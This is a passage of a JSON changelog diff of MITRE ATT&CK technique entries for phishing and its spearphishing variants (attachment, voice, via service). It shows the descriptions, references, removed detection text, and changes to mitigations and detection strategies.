\"old_value\": \"2025-04-15 22:46:25.458000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0036: Group (Group Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0114: Behavioral Detection of Local Group Enumeration Across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 18:45:07.892000+00:00", + "modified": "2025-10-24 17:49:11.351000+00:00", + "name": "Phishing", + "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").(Citation: phishing-krebs)\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566", + "external_id": "T1566" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "phishing-krebs", + "description": "Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.", + "url": "https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/" + }, + { + "source_name": "CISA Remote Monitoring and Management Software", + "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a" + }, + { + "source_name": "cyberproof-double-bounce", + "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.", + "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends" + }, + { + "source_name": "Unit42 Luna Moth", + "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.", + "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Microsoft OAuth Spam 2022", + "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/" + }, + { + "source_name": "sygnia Luna Month", + "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.", + "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams" + }, + { + "source_name": "Proofpoint-spoof", + "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.", + "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing" + }, + { + "source_name": "Palo Alto Unit 42 VBA Infostealer 2014", + "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.", + "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Ohad Zaidenberg, @ohad_mz", + "Liora Itkin", + "Liran Ravich, CardinalOps", + "Scott Cook, Capital One" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Identity Provider", + "Linux", + "macOS", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "2.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.351000+00:00\", \"old_value\": \"2025-04-15 19:58:55.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n\\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n\\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n-\\n-Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n-\\n-Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\\n-\\n-Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\"}}}", + "previous_version": "2.7", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention", + "M1047: Audit", + "M1049: Antivirus/Antimalware", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0070: Detection Strategy for Phishing across platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 19:05:18.137000+00:00", + "modified": "2025-10-24 17:48:35.522000+00:00", + "name": "Spearphishing Attachment", + "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/001", + "external_id": "T1566.001" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.", + "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.522000+00:00\", \"old_value\": \"2025-04-15 23:10:26.686000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n\\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\\n\\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n-\\n-Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\\n-\\n-Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention", + "M1047: Audit", + "M1049: Antivirus/Antimalware", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0236: Detection Strategy for Spearphishing Attachment across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-07 21:50:08.827000+00:00", + "modified": "2025-07-02 18:06:37.932000+00:00", + "name": "Spearphishing Voice", + "description": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/004", + "external_id": "T1566.004" + }, + { + "source_name": "CISA Remote Monitoring and Management Software", + "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a" + }, + { + "source_name": "Unit42 Luna Moth", + "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.", + "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/" + }, + { + "source_name": "sygnia Luna Month", + "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.", + "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams" + }, + { + "source_name": "Proofpoint Vishing", + "description": "Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.", + "url": "https://www.proofpoint.com/us/threat-reference/vishing" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Identity Provider" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-07-02 18:06:37.932000+00:00\", \"old_value\": \"2025-04-15 19:59:02.243000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n\\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n\\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)\", \"old_value\": \"Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n\\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n\\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that is employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n+Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\\n \\n All forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\\n \"}}}", + "previous_version": "1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use voice communications to ultimately gain t1Adversaries may use voice communications to ultimately gain 
>access to victim systems. Spearphishing voice is a specific >access to victim systems. Spearphishing voice is a specific 
>variant of spearphishing. It is different from other forms o>variant of spearphishing. It is different from other forms o
>f spearphishing in that is employs the use of manipulating a>f spearphishing in that it employs the use of manipulating a
> user into providing access to systems through a phone call > user into providing access to systems through a phone call 
>or other forms of voice communications. Spearphishing freque>or other forms of voice communications. Spearphishing freque
>ntly involves social engineering techniques, such as posing >ntly involves social engineering techniques, such as posing 
>as a trusted source (ex: [Impersonation](https://attack.mitr>as a trusted source (ex: [Impersonation](https://attack.mitr
>e.org/techniques/T1656)) and/or creating a sense of urgency >e.org/techniques/T1656)) and/or creating a sense of urgency 
>or alarm for the recipient.  All forms of phishing are elect>or alarm for the recipient.  All forms of phishing are elect
>ronically delivered social engineering. In this scenario, ad>ronically delivered social engineering. In this scenario, ad
>versaries are not directly sending malware to a victim vice >versaries are not directly sending malware to a victim vice 
>relying on [User Execution](https://attack.mitre.org/techniq>relying on [User Execution](https://attack.mitre.org/techniq
>ues/T1204) for delivery and execution. For example, victims >ues/T1204) for delivery and execution. For example, victims 
>may receive phishing messages that instruct them to call a p>may receive phishing messages that instruct them to call a p
>hone number where they are directed to visit a malicious URL>hone number where they are directed to visit a malicious URL
>, download malware,(Citation: sygnia Luna Month)(Citation: C>, download malware,(Citation: sygnia Luna Month)(Citation: C
>ISA Remote Monitoring and Management Software) or install ad>ISA Remote Monitoring and Management Software) or install ad
>versary-accessible remote management tools ([Remote Access T>versary-accessible remote management tools ([Remote Access T
>ools](https://attack.mitre.org/techniques/T1219)) onto their>ools](https://attack.mitre.org/techniques/T1219)) onto their
> computer.(Citation: Unit42 Luna Moth)  Adversaries may also> computer.(Citation: Unit42 Luna Moth)  Adversaries may also
> combine voice phishing with [Multi-Factor Authentication Re> combine voice phishing with [Multi-Factor Authentication Re
>quest Generation](https://attack.mitre.org/techniques/T1621)>quest Generation](https://attack.mitre.org/techniques/T1621)
> in order to trick users into divulging MFA credentials or a> in order to trick users into divulging MFA credentials or a
>ccepting authentication prompts.(Citation: Proofpoint Vishin>ccepting authentication prompts.(Citation: Proofpoint Vishin
>g)>g)
", + "changelog_mitigations": { + "shared": [ + "M1017: User Training" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0245: Detection Strategy for Spearphishing Voice across OS platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 19:24:00.951000+00:00", + "modified": "2025-10-24 17:49:37.487000+00:00", + "name": "Spearphishing via Service", + "description": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/003", + "external_id": "T1566.003" + }, + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.487000+00:00\", \"old_value\": \"2025-04-15 23:11:50.622000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \\n-\\n-Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1021: Restrict Web-Based Content", + "M1047: Audit", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0115: Detection Strategy for Spearphishing via a Service across OS Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": 